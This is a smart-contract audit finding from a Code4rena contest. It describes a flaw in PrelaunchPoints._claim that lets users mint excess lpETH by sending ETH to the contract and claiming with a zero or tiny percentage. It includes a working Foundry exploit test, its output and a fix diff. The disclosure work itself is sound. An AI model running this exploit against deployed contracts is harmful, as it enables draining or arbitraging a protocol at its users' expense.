code-423n4/2024-05-loop-findings

Users can claim as much lpETH as they want as long as they have LRT token deposited

howlbot-integration opened this issue · 3 comments

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

  • The total lpETH claimable through the PrelaunchPoints contract should be capped to the amount of ETH and ETH value of LRTs deposited up until the claims start but this allows users to bypass that limit.
  • Allows users to easily arbitrage lpETH on exchanges either using their own funds or a flashloan.
  • Defeats the purpose of having ETH deposits in the first place.

Proof of Concept

Root Cause

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else { <===== audit
            uint256 userClaim = userStake * _percentage / 100; // <===== audit
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim; <===== audit

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data); <===== audit

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // <===== audit
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

    /**
     * Enable receive ETH
     * @dev ETH sent to this contract directly will be locked forever.
     */
    receive() external payable {} // <===== audit
  • When claiming lpETH against an LRT deposit, the contract swaps the LRT to ETH then deposits the entire ETH held by the contract instead of the amount received from the swap to the lpETH contract.
  • Percentage is a user input and can be set to 0 or a low value based on the deposited amount to make the userClaim amount 0 or very low.
  • 0x UniswapV3 swap does not fail in case of a 0 input amount.
  • Users can send ETH directly to the contract.

Test

// ...
contract PrelaunchPointsTest is Test {
    // ...
    function testClaimLRT() public {
        address ezETH = 0xbf5495Efe5DB9ce00f80364C8B423567e58d2110;
        address bob = vm.addr(1);
        uint256 amount = 1 wei;

        deal(ezETH, bob, amount);
        vm.deal(bob, 1000 ether); // <==== This can be a flashloan

        prelaunchPoints.allowToken(ezETH);

        vm.startPrank(bob);
        ERC20Token(ezETH).approve(address(prelaunchPoints), amount);
        prelaunchPoints.lock(ezETH, amount, referral);
        vm.stopPrank();

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.startPrank(bob);
        address(prelaunchPoints).call{value: 10 ether}("");
        prelaunchPoints.claim(
            ezETH,
            0, // Percentage
            PrelaunchPoints.Exchange.UniswapV3,
            abi.encodeWithSelector(
                0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
                abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
                0, // Amount in
                0, // Min Amount Out
                address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
            )
        );

        address(prelaunchPoints).call{value: 20 ether}("");
        prelaunchPoints.claim(
            ezETH,
            1, // Percentage
            PrelaunchPoints.Exchange.UniswapV3,
            abi.encodeWithSelector(
                0x803ba26d, // PrelaunchPoints.UNI_SELECTOR
                abi.encodePacked(ezETH, uint24(100), WETH), // encodedPath
                prelaunchPoints.balances(bob, ezETH) / 100, // <==== Amount in = 1 / 100 = 0
                0, // Min Amount Out
                address(0) // Will be set to the PrelaunchPoints contract address by the 0x UniswapV3 feature
            )
        );
     
        assertNotEq(lpETH.balanceOf(bob), 30 ether);

        // Bob can sell lpETH for ETH here in case of an arbitrage
        vm.stopPrank();
    }
}

Once added, you can run the test using : forge test --match-test testClaimLRT --fork-url YOUR_RPC_URL -vv

Results

Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)
Logs:
  Error: a != b not satisfied [uint]
        Left: 30000000000000000000
       Right: 30000000000000000000

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.51s (2.95s CPU time)

Ran 1 test suite in 7.06s (5.51s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[FAIL. Reason: assertion failed] testClaimLRT() (gas: 434432)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual Review

Recommended Mitigation Steps

Only deposit the ETH received from the swap to the lpETH contract

index aa6b9f4..ddd2f1d 100644
--- a/src/PrelaunchPoints.sol
+++ b/src/PrelaunchPoints.sol
@@ -256,10 +256,9 @@ contract PrelaunchPoints {

             // At this point there should not be any ETH in the contract
             // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

             // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
             lpETH.deposit{value: claimedAmount}(_receiver);
         }
         emit Claimed(msg.sender, _token, claimedAmount);
@@ -488,7 +487,7 @@ contract PrelaunchPoints {
      * @param _swapCallData  The `data` field from the API response.
      */

-    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
+    function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal returns (uint256) {
         // Track our balance of the buyToken to determine how much we've bought.
         uint256 boughtETHAmount = address(this).balance;

@@ -502,6 +501,7 @@ contract PrelaunchPoints {
         // Use our current buyToken balance to determine how much we've bought.
         boughtETHAmount = address(this).balance - boughtETHAmount;
         emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
+       return boughtETHAmount;
     }

     /*//////////////////////////////////////////////////////////////

Assessed type

Other

koolexcrypto marked the issue as duplicate of #6

koolexcrypto marked the issue as duplicate of #33

koolexcrypto marked the issue as satisfactory